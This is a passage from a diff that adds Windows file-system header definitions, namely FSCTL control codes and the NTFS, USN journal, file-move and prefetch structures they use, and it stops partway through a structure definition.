METHOD_BUFFERED, FILE_ANY_ACCESS) +// decommissioned fsctl value 13 +#define FSCTL_QUERY_RETRIEVAL_POINTERS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 14, METHOD_NEITHER, FILE_ANY_ACCESS) +#define FSCTL_GET_COMPRESSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 15, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_SET_COMPRESSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 16, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) +// decommissioned fsctl value 17 +// decommissioned fsctl value 18 +#define FSCTL_SET_BOOTLOADER_ACCESSED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 19, METHOD_NEITHER, FILE_ANY_ACCESS) +#define FSCTL_OPLOCK_BREAK_ACK_NO_2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 20, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_INVALIDATE_VOLUMES CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 21, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_QUERY_FAT_BPB CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 22, METHOD_BUFFERED, FILE_ANY_ACCESS) // FSCTL_QUERY_FAT_BPB_BUFFER +#define FSCTL_REQUEST_FILTER_OPLOCK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 23, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_FILESYSTEM_GET_STATISTICS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 24, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILESYSTEM_STATISTICS + +#if (_WIN32_WINNT >= 0x0400) +#define FSCTL_GET_NTFS_VOLUME_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 25, METHOD_BUFFERED, FILE_ANY_ACCESS) // NTFS_VOLUME_DATA_BUFFER +#define FSCTL_GET_NTFS_FILE_RECORD CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 26, METHOD_BUFFERED, FILE_ANY_ACCESS) // NTFS_FILE_RECORD_INPUT_BUFFER, NTFS_FILE_RECORD_OUTPUT_BUFFER +#define FSCTL_GET_VOLUME_BITMAP CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 27, METHOD_NEITHER, FILE_ANY_ACCESS) // STARTING_LCN_INPUT_BUFFER, VOLUME_BITMAP_BUFFER +#define FSCTL_GET_RETRIEVAL_POINTERS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 28, METHOD_NEITHER, FILE_ANY_ACCESS) // STARTING_VCN_INPUT_BUFFER, RETRIEVAL_POINTERS_BUFFER +#define FSCTL_MOVE_FILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 29, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // MOVE_FILE_DATA, +#define FSCTL_IS_VOLUME_DIRTY CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 30, METHOD_BUFFERED, FILE_ANY_ACCESS) +// decomissioned fsctl value 31 +#define FSCTL_ALLOW_EXTENDED_DASD_IO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 32, METHOD_NEITHER, FILE_ANY_ACCESS) +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0500) +// decommissioned fsctl value 33 +// decommissioned fsctl value 34 +#define FSCTL_FIND_FILES_BY_SID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 35, METHOD_NEITHER, FILE_ANY_ACCESS) +// decommissioned fsctl value 36 +// decommissioned fsctl value 37 +#define FSCTL_SET_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 38, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // FILE_OBJECTID_BUFFER +#define FSCTL_GET_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 39, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_OBJECTID_BUFFER +#define FSCTL_DELETE_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 40, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_SET_REPARSE_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 41, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // REPARSE_DATA_BUFFER, +#define FSCTL_GET_REPARSE_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 42, METHOD_BUFFERED, FILE_ANY_ACCESS) // REPARSE_DATA_BUFFER +#define FSCTL_DELETE_REPARSE_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 43, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // REPARSE_DATA_BUFFER, +#define FSCTL_ENUM_USN_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 44, METHOD_NEITHER, FILE_ANY_ACCESS) // MFT_ENUM_DATA, +#define FSCTL_SECURITY_ID_CHECK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 45, METHOD_NEITHER, FILE_READ_DATA) // BULK_SECURITY_TEST_DATA, +#define FSCTL_READ_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 46, METHOD_NEITHER, FILE_ANY_ACCESS) // READ_USN_JOURNAL_DATA, USN +#define FSCTL_SET_OBJECT_ID_EXTENDED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 47, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_CREATE_OR_GET_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 48, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_OBJECTID_BUFFER +#define FSCTL_SET_SPARSE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 49, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_SET_ZERO_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 50, METHOD_BUFFERED, FILE_WRITE_DATA) // FILE_ZERO_DATA_INFORMATION, +#define FSCTL_QUERY_ALLOCATED_RANGES CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 51, METHOD_NEITHER, FILE_READ_DATA) // FILE_ALLOCATED_RANGE_BUFFER, FILE_ALLOCATED_RANGE_BUFFER +#define FSCTL_ENABLE_UPGRADE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 52, METHOD_BUFFERED, FILE_WRITE_DATA) +// decommissioned fsctl value 52 +#define FSCTL_SET_ENCRYPTION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 53, METHOD_NEITHER, FILE_ANY_ACCESS) // ENCRYPTION_BUFFER, DECRYPTION_STATUS_BUFFER +#define FSCTL_ENCRYPTION_FSCTL_IO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 54, METHOD_NEITHER, FILE_ANY_ACCESS) +#define FSCTL_WRITE_RAW_ENCRYPTED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 55, METHOD_NEITHER, FILE_SPECIAL_ACCESS) // ENCRYPTED_DATA_INFO, EXTENDED_ENCRYPTED_DATA_INFO +#define FSCTL_READ_RAW_ENCRYPTED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 56, METHOD_NEITHER, FILE_SPECIAL_ACCESS) // REQUEST_RAW_ENCRYPTED_DATA, ENCRYPTED_DATA_INFO, EXTENDED_ENCRYPTED_DATA_INFO +#define FSCTL_CREATE_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 57, METHOD_NEITHER, FILE_ANY_ACCESS) // CREATE_USN_JOURNAL_DATA, +#define FSCTL_READ_FILE_USN_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 58, METHOD_NEITHER, FILE_ANY_ACCESS) // Read the Usn Record for a file +#define FSCTL_WRITE_USN_CLOSE_RECORD CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 59, METHOD_NEITHER, FILE_ANY_ACCESS) // Generate Close Usn Record +#define FSCTL_EXTEND_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 60, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_QUERY_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 61, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_DELETE_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 62, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_MARK_HANDLE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 63, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_SIS_COPYFILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 64, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_SIS_LINK_FILES CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 65, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) +// decommissional fsctl value 66 +// decommissioned fsctl value 67 +// decommissioned fsctl value 68 +#define FSCTL_RECALL_FILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 69, METHOD_NEITHER, FILE_ANY_ACCESS) +// decommissioned fsctl value 70 +#define FSCTL_READ_FROM_PLEX CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 71, METHOD_OUT_DIRECT, FILE_READ_DATA) +#define FSCTL_FILE_PREFETCH CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 72, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // FILE_PREFETCH +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0600) +#define FSCTL_MAKE_MEDIA_COMPATIBLE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 76, METHOD_BUFFERED, FILE_WRITE_DATA) // UDFS R/W +#define FSCTL_SET_DEFECT_MANAGEMENT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 77, METHOD_BUFFERED, FILE_WRITE_DATA) // UDFS R/W +#define FSCTL_QUERY_SPARING_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 78, METHOD_BUFFERED, FILE_ANY_ACCESS) // UDFS R/W +#define FSCTL_QUERY_ON_DISK_VOLUME_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 79, METHOD_BUFFERED, FILE_ANY_ACCESS) // C/UDFS +#define FSCTL_SET_VOLUME_COMPRESSION_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 80, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // VOLUME_COMPRESSION_STATE +// decommissioned fsctl value 80 +#define FSCTL_TXFS_MODIFY_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 81, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_QUERY_RM_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 82, METHOD_BUFFERED, FILE_READ_DATA) // TxF +// decommissioned fsctl value 83 +#define FSCTL_TXFS_ROLLFORWARD_REDO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 84, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_ROLLFORWARD_UNDO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 85, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_START_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 86, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_SHUTDOWN_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 87, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_READ_BACKUP_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 88, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_TXFS_WRITE_BACKUP_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 89, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_CREATE_SECONDARY_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 90, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_GET_METADATA_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 91, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_TXFS_GET_TRANSACTED_VERSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 92, METHOD_BUFFERED, FILE_READ_DATA) // TxF +// decommissioned fsctl value 93 +#define FSCTL_TXFS_SAVEPOINT_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 94, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_CREATE_MINIVERSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 95, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +// decommissioned fsctl value 96 +// decommissioned fsctl value 97 +// decommissioned fsctl value 98 +#define FSCTL_TXFS_TRANSACTION_ACTIVE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 99, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_SET_ZERO_ON_DEALLOCATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 101, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_SET_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 102, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_GET_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 103, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_WAIT_FOR_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 104, METHOD_BUFFERED, FILE_ANY_ACCESS) +// decommissioned fsctl value 105 +#define FSCTL_INITIATE_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 106, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_CSC_INTERNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 107, METHOD_NEITHER, FILE_ANY_ACCESS) // CSC internal implementation +#define FSCTL_SHRINK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 108, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // SHRINK_VOLUME_INFORMATION +#define FSCTL_SET_SHORT_NAME_BEHAVIOR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 109, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_DFSR_SET_GHOST_HANDLE_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 110, METHOD_BUFFERED, FILE_ANY_ACCESS) + +// +// Values 111 - 119 are reserved for FSRM. +// + +#define FSCTL_TXFS_LIST_TRANSACTION_LOCKED_FILES \ + CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 120, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_TXFS_LIST_TRANSACTIONS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 121, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_QUERY_PAGEFILE_ENCRYPTION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 122, METHOD_BUFFERED, FILE_ANY_ACCESS) +#endif /* _WIN32_WINNT >= 0x0600 */ + +#if (_WIN32_WINNT >= 0x0600) +#define FSCTL_RESET_VOLUME_ALLOCATION_HINTS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 123, METHOD_BUFFERED, FILE_ANY_ACCESS) +#endif /* _WIN32_WINNT >= 0x0600 */ + +#if (_WIN32_WINNT >= 0x0601) +#define FSCTL_QUERY_DEPENDENT_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 124, METHOD_BUFFERED, FILE_ANY_ACCESS) // Dependency File System Filter +#define FSCTL_SD_GLOBAL_CHANGE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 125, METHOD_BUFFERED, FILE_ANY_ACCESS) // Update NTFS Security Descriptors +#endif /* _WIN32_WINNT >= 0x0601 */ + +#if (_WIN32_WINNT >= 0x0600) +#define FSCTL_TXFS_READ_BACKUP_INFORMATION2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 126, METHOD_BUFFERED, FILE_ANY_ACCESS) // TxF +#endif /* _WIN32_WINNT >= 0x0600 */ + +#if (_WIN32_WINNT >= 0x0601) +#define FSCTL_LOOKUP_STREAM_FROM_CLUSTER CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 127, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_TXFS_WRITE_BACKUP_INFORMATION2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 128, METHOD_BUFFERED, FILE_ANY_ACCESS) // TxF +#define FSCTL_FILE_TYPE_NOTIFICATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 129, METHOD_BUFFERED, FILE_ANY_ACCESS) +#endif + +// Values 130 - 130 are available +// Values 131 - 139 are reserved for FSRM. + +#if (_WIN32_WINNT >= 0x0601) +#define FSCTL_GET_BOOT_AREA_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 140, METHOD_BUFFERED, FILE_ANY_ACCESS) // BOOT_AREA_INFO +#define FSCTL_GET_RETRIEVAL_POINTER_BASE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 141, METHOD_BUFFERED, FILE_ANY_ACCESS) // RETRIEVAL_POINTER_BASE +#define FSCTL_SET_PERSISTENT_VOLUME_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 142, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_FS_PERSISTENT_VOLUME_INFORMATION +#define FSCTL_QUERY_PERSISTENT_VOLUME_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 143, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_FS_PERSISTENT_VOLUME_INFORMATION + +#define FSCTL_REQUEST_OPLOCK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 144, METHOD_BUFFERED, FILE_ANY_ACCESS) + +#define FSCTL_CSV_TUNNEL_REQUEST CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 145, METHOD_BUFFERED, FILE_ANY_ACCESS) // CSV_TUNNEL_REQUEST +#define FSCTL_IS_CSV_FILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 146, METHOD_BUFFERED, FILE_ANY_ACCESS) // IS_CSV_FILE + +#define FSCTL_QUERY_FILE_SYSTEM_RECOGNITION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 147, METHOD_BUFFERED, FILE_ANY_ACCESS) // +#define FSCTL_CSV_GET_VOLUME_PATH_NAME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 148, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_CSV_GET_VOLUME_NAME_FOR_VOLUME_MOUNT_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 149, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_CSV_GET_VOLUME_PATH_NAMES_FOR_VOLUME_NAME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 150, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_IS_FILE_ON_CSV_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 151, METHOD_BUFFERED, FILE_ANY_ACCESS) + +#endif /* _WIN32_WINNT >= 0x0601 */ + +#define FSCTL_MARK_AS_SYSTEM_HIVE FSCTL_SET_BOOTLOADER_ACCESSED + + +#if(_WIN32_WINNT >= 0x0601) + +typedef struct _CSV_NAMESPACE_INFO { + + ULONG Version; + ULONG DeviceNumber; + LARGE_INTEGER StartingOffset; + ULONG SectorSize; + +} CSV_NAMESPACE_INFO, *PCSV_NAMESPACE_INFO; + +#define CSV_NAMESPACE_INFO_V1 (sizeof(CSV_NAMESPACE_INFO)) +#define CSV_INVALID_DEVICE_NUMBER 0xFFFFFFFF + +#endif /* _WIN32_WINNT >= 0x0601 */ + +typedef struct _PATHNAME_BUFFER { + + ULONG PathNameLength; + WCHAR Name[1]; + +} PATHNAME_BUFFER, *PPATHNAME_BUFFER; + +typedef struct _FSCTL_QUERY_FAT_BPB_BUFFER { + + UCHAR First0x24BytesOfBootSector[0x24]; + +} FSCTL_QUERY_FAT_BPB_BUFFER, *PFSCTL_QUERY_FAT_BPB_BUFFER; + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + LARGE_INTEGER VolumeSerialNumber; + LARGE_INTEGER NumberSectors; + LARGE_INTEGER TotalClusters; + LARGE_INTEGER FreeClusters; + LARGE_INTEGER TotalReserved; + ULONG BytesPerSector; + ULONG BytesPerCluster; + ULONG BytesPerFileRecordSegment; + ULONG ClustersPerFileRecordSegment; + LARGE_INTEGER MftValidDataLength; + LARGE_INTEGER MftStartLcn; + LARGE_INTEGER Mft2StartLcn; + LARGE_INTEGER MftZoneStart; + LARGE_INTEGER MftZoneEnd; + +} NTFS_VOLUME_DATA_BUFFER, *PNTFS_VOLUME_DATA_BUFFER; + +typedef struct { + + ULONG ByteCount; + + USHORT MajorVersion; + USHORT MinorVersion; + +} NTFS_EXTENDED_VOLUME_DATA, *PNTFS_EXTENDED_VOLUME_DATA; +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + LARGE_INTEGER StartingLcn; + +} STARTING_LCN_INPUT_BUFFER, *PSTARTING_LCN_INPUT_BUFFER; + +typedef struct { + + LARGE_INTEGER StartingLcn; + LARGE_INTEGER BitmapSize; + UCHAR Buffer[1]; + +} VOLUME_BITMAP_BUFFER, *PVOLUME_BITMAP_BUFFER; +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + LARGE_INTEGER StartingVcn; + +} STARTING_VCN_INPUT_BUFFER, *PSTARTING_VCN_INPUT_BUFFER; + +typedef struct RETRIEVAL_POINTERS_BUFFER { + + ULONG ExtentCount; + LARGE_INTEGER StartingVcn; + struct { + LARGE_INTEGER NextVcn; + LARGE_INTEGER Lcn; + } Extents[1]; + +} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER; +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + LARGE_INTEGER FileReferenceNumber; + +} NTFS_FILE_RECORD_INPUT_BUFFER, *PNTFS_FILE_RECORD_INPUT_BUFFER; + +typedef struct { + + LARGE_INTEGER FileReferenceNumber; + ULONG FileRecordLength; + UCHAR FileRecordBuffer[1]; + +} NTFS_FILE_RECORD_OUTPUT_BUFFER, *PNTFS_FILE_RECORD_OUTPUT_BUFFER; +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + HANDLE FileHandle; + LARGE_INTEGER StartingVcn; + LARGE_INTEGER StartingLcn; + ULONG ClusterCount; + +} MOVE_FILE_DATA, *PMOVE_FILE_DATA; + +typedef struct { + + HANDLE FileHandle; + LARGE_INTEGER SourceFileRecord; + LARGE_INTEGER TargetFileRecord; + +} MOVE_FILE_RECORD_DATA, *PMOVE_FILE_RECORD_DATA; + + +#if defined(_WIN64) + +typedef struct _MOVE_FILE_DATA32 { + + UINT32 FileHandle; + LARGE_INTEGER StartingVcn; + LARGE_INTEGER StartingLcn; + ULONG ClusterCount; + +} MOVE_FILE_DATA32, *PMOVE_FILE_DATA32; +#endif +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct { + ULONG Restart; + SID Sid; +} FIND_BY_SID_DATA, *PFIND_BY_SID_DATA; + +typedef struct { + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} FIND_BY_SID_OUTPUT, *PFIND_BY_SID_OUTPUT; + +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct { + + ULONGLONG StartFileReferenceNumber; + USN LowUsn; + USN HighUsn; + +} MFT_ENUM_DATA, *PMFT_ENUM_DATA; + +typedef struct { + + ULONGLONG MaximumSize; + ULONGLONG AllocationDelta; + +} CREATE_USN_JOURNAL_DATA, *PCREATE_USN_JOURNAL_DATA; + +typedef struct { + + USN StartUsn; + ULONG ReasonMask; + ULONG ReturnOnlyOnClose; + ULONGLONG Timeout; + ULONGLONG BytesToWaitFor; + ULONGLONG UsnJournalID; + +} READ_USN_JOURNAL_DATA, *PREAD_USN_JOURNAL_DATA; + +typedef struct { + + ULONG RecordLength; + USHORT MajorVersion; + USHORT MinorVersion; + ULONGLONG FileReferenceNumber; + ULONGLONG ParentFileReferenceNumber; + USN Usn; + LARGE_INTEGER TimeStamp; + ULONG Reason; + ULONG SourceInfo; + ULONG SecurityId; + ULONG FileAttributes; + USHORT FileNameLength; + USHORT FileNameOffset; + WCHAR FileName[1]; + +} USN_RECORD, *PUSN_RECORD; + +#define USN_PAGE_SIZE (0x1000) + +#define USN_REASON_DATA_OVERWRITE (0x00000001) +#define USN_REASON_DATA_EXTEND (0x00000002) +#define USN_REASON_DATA_TRUNCATION (0x00000004) +#define USN_REASON_NAMED_DATA_OVERWRITE (0x00000010) +#define USN_REASON_NAMED_DATA_EXTEND (0x00000020) +#define USN_REASON_NAMED_DATA_TRUNCATION (0x00000040) +#define USN_REASON_FILE_CREATE (0x00000100) +#define USN_REASON_FILE_DELETE (0x00000200) +#define USN_REASON_EA_CHANGE (0x00000400) +#define USN_REASON_SECURITY_CHANGE (0x00000800) +#define USN_REASON_RENAME_OLD_NAME (0x00001000) +#define USN_REASON_RENAME_NEW_NAME (0x00002000) +#define USN_REASON_INDEXABLE_CHANGE (0x00004000) +#define USN_REASON_BASIC_INFO_CHANGE (0x00008000) +#define USN_REASON_HARD_LINK_CHANGE (0x00010000) +#define USN_REASON_COMPRESSION_CHANGE (0x00020000) +#define USN_REASON_ENCRYPTION_CHANGE (0x00040000) +#define USN_REASON_OBJECT_ID_CHANGE (0x00080000) +#define USN_REASON_REPARSE_POINT_CHANGE (0x00100000) +#define USN_REASON_STREAM_CHANGE (0x00200000) +#define USN_REASON_TRANSACTED_CHANGE (0x00400000) +#define USN_REASON_CLOSE (0x80000000) + +typedef struct { + + ULONGLONG UsnJournalID; + USN FirstUsn; + USN NextUsn; + USN LowestValidUsn; + USN MaxUsn; + ULONGLONG MaximumSize; + ULONGLONG AllocationDelta; + +} USN_JOURNAL_DATA, *PUSN_JOURNAL_DATA; + +typedef struct { + + ULONGLONG UsnJournalID; + ULONG DeleteFlags; + +} DELETE_USN_JOURNAL_DATA, *PDELETE_USN_JOURNAL_DATA; + +#define USN_DELETE_FLAG_DELETE (0x00000001) +#define USN_DELETE_FLAG_NOTIFY (0x00000002) + +#define USN_DELETE_VALID_FLAGS (0x00000003) + +typedef struct { + + ULONG UsnSourceInfo; + HANDLE VolumeHandle; + ULONG HandleInfo; + +} MARK_HANDLE_INFO, *PMARK_HANDLE_INFO; + +#if defined(_WIN64) + +typedef struct { + + ULONG UsnSourceInfo; + UINT32 VolumeHandle; + ULONG HandleInfo; + +} MARK_HANDLE_INFO32, *PMARK_HANDLE_INFO32; +#endif + +#define USN_SOURCE_DATA_MANAGEMENT (0x00000001) +#define USN_SOURCE_AUXILIARY_DATA (0x00000002) +#define USN_SOURCE_REPLICATION_MANAGEMENT (0x00000004) + +#define MARK_HANDLE_PROTECT_CLUSTERS (0x00000001) +#define MARK_HANDLE_TXF_SYSTEM_LOG (0x00000004) +#define MARK_HANDLE_NOT_TXF_SYSTEM_LOG (0x00000008) + +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0601) + +#define MARK_HANDLE_REALTIME (0x00000020) +#define MARK_HANDLE_NOT_REALTIME (0x00000040) + +#define NO_8DOT3_NAME_PRESENT (0x00000001) +#define REMOVED_8DOT3_NAME (0x00000002) + +#define PERSISTENT_VOLUME_STATE_SHORT_NAME_CREATION_DISABLED (0x00000001) + +#endif /* _WIN32_WINNT >= 0x0601 */ + + +#if (_WIN32_WINNT >= 0x0500) +typedef struct { + + ACCESS_MASK DesiredAccess; + ULONG SecurityIds[1]; + +} BULK_SECURITY_TEST_DATA, *PBULK_SECURITY_TEST_DATA; +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +#define VOLUME_IS_DIRTY (0x00000001) +#define VOLUME_UPGRADE_SCHEDULED (0x00000002) +#define VOLUME_SESSION_OPEN (0x00000004) +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _FILE_PREFETCH { + ULONG Type; + ULONG Count; + ULONGLONG Prefetch[1]; +} FILE_PREFETCH, *PFILE_PREFETCH; + +typedef struct _FILE_PREFETCH_EX { + ULONG Type; + ULONG Count; + PVOID Context; + ULONGLONG Prefetch[1]; +} FILE_PREFETCH_EX, *PFILE_PREFETCH_EX; + +#define FILE_PREFETCH_TYPE_FOR_CREATE 0x1 +#define FILE_PREFETCH_TYPE_FOR_DIRENUM 0x2 +#define FILE_PREFETCH_TYPE_FOR_CREATE_EX 0x3 +#define FILE_PREFETCH_TYPE_FOR_DIRENUM_EX 0x4 + +#define FILE_PREFETCH_TYPE_MAX 0x4 + +#endif /* _WIN32_WINNT >= 0x0500 */ + +typedef struct _FILESYSTEM_STATISTICS { + + USHORT FileSystemType; + USHORT Version; // currently version 1 + + ULONG SizeOfCompleteStructure; // must by a mutiple of 64 bytes + + ULONG UserFileReads; + ULONG UserFileReadBytes; + ULONG UserDiskReads; + ULONG UserFileWrites; + ULONG 